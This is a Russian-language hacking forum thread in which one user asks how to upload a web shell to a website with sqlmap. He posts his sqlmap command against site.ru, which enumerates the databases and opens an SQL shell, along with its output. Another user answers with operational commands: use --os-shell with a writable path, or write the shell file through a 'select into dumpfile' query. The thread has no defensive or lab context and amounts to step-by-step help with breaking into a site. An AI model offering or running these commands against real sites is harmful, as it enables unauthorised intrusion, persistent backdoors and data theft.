sqlmap shell

Discussion in 'Инструменты' started by Groove, 4 Aug 2019.

  1. Groove

    Groove Member

    Joined:
    13 Nov 2010
    Messages:
    181
    Likes Received:
    20
    Reputations:
    2
    Подскажите как залить shell через sqlmap ?

    Code:
    sqlmap.py -u https://site.ru --random-agent -f --dbs --tables --sql-shell
    Выдало


    Code:
    [12:59:52] [INFO] calling MySQL shell. To quit type 'x' or 'q' and press ENTER
    sql-shell>
    Что делать дальше? Если можно прям подробно )
     
  2. BabaDook

    BabaDook Well-Known Member

    Joined:
    9 May 2015
    Messages:
    1,069
    Likes Received:
    1,549
    Reputations:
    40
    Ну, первое sqlmap.py -u https://site.ru --random-agent os-shell дальше указываешь архитектуру, и путь до папки записи.
    или если твой вариант sqlmap.py -u https://site.ru --random-agent --sql-shell "select into dumpfile '''путь до шелла'"
     
Loading...